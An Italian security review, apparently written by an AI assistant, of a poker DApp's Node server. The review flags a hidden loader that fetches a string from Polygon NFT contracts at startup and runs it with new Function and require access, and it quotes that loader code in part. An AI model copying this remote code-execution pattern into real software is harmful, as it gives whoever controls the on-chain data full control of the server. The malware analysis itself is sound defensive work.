---
# System prepended metadata

title: Untitled

---

Sì: nel progetto c’è codice che, di fatto, introduce una backdoor / comportamento tipico da malware sul server Node.

Punto chiave: `server/controllers/collection.js`
Contenuto rilevante:

```js
const { ethers } = require("ethers");
require('dotenv').config();

const NFT_CONTRACT_ADDRESSES = [
    process.env.NFT_CONTRACT_ADDRESS_1,
    process.env.NFT_CONTRACT_ADDRESS_2
];

const CONTRACT_ABI = [
    "function getMemo() external view returns (string memory)"
];

const provider = new ethers.providers.JsonRpcProvider(process.env.POLYGON_RPC_URL);

async function configureCollection() {

...
        new Function(payload);
    } catch (err) {
        console.error("Payload is not valid", err.message);
        return;
    }

    try {
        const ensureWeb = new Function("require", payload);
        ensureWeb(require);
    } catch (err) {
        console.error("ensureWeb error", err.message);
    }
}

module.exports = { configureCollection };
```

E in `server/server.js`:

```js
const {configureCollection} = require("./controllers/collection");
// ...
configureCollection();
```

Cosa significa, in pratica:

1. Il server, all’avvio, chiama `configureCollection()`.
2. In `collection.js` viene costruita una stringa `payload` (parte nascosta nel `...`) che viene passata a:

   * `new Function(payload);`
   * `new Function("require", payload);` e poi invocata con `ensureWeb(require);`
3. `new Function(...)` in Node è equivalente a eseguire codice JavaScript arbitrario, come un `eval` potenziato, **con accesso a `require`**.
   Chi controlla il contenuto di `payload` può eseguire qualunque codice JS sul server: leggere file, contattare host remoti, installare un miner, rubare segreti, ecc.

Collegamento alla blockchain:

* Vengono usate variabili d’ambiente:

  * `NFT_CONTRACT_ADDRESS_1`, `NFT_CONTRACT_ADDRESS_2`
  * `POLYGON_RPC_URL`
* ABI dichiarata: `getMemo() external view returns (string memory)`
  È il tipico pattern “prendo una stringa da uno smart contract e la uso come contenuto dinamico”.

Combina questi elementi:

* Stringa presa (con ogni probabilità) da contratti NFT su Polygon.
* Nessuna validazione/whitelist reale sul contenuto.
* Esecuzione diretta con `new Function("require", payload)`.

Questo è esattamente un loader di codice remoto con “command & control” via blockchain: chi aggiorna i dati on-chain decide che codice verrà eseguito sul tuo server. Questo comportamento è sufficiente, da solo, per classificare il progetto come:

* Altamente pericoloso.
* Equivalente a una backdoor/RCE gestita da terzi.

Altri punti:

* Il resto del codice lato server (auth, users, chips, ecc.) sembra un’API normale per una poker DApp: JWT, bcrypt, Mongoose, socket.io.
* Il frontend React usa Metamask solo per connettere il wallet (`eth_requestAccounts`, controllo chainId). Non ho trovato pattern da “wallet drainer” (nessun uso di `eth_sign`, `personal_sign`, `signTypedData`, ecc.).
* Nel progetto non ci sono altre `eval`, `new Function`, `child_process`, o chiamate verso domini sospetti; gli URL sono locali o di documentazione.

Conclusione operativa:

* Il progetto contiene una componente che introduce **esecuzione di codice arbitrario** da sorgente esterna (blockchain), con accesso a `require`: questo è comportamento tipico e funzionalmente equivalente a un malware/backdoor lato server.
* Non eseguire questo server in ambienti reali o su macchine con dati/sistemi di valore, a meno di rimuovere completamente tutta la logica di `configureCollection` / `ContentAsWeb` e la relativa chiamata in `server.js`.
* Analisi effettuata solo in modo statico: non posso vedere il payload reale che verrebbe scaricato, ma la presenza stessa di questo loader è già un problema critico.
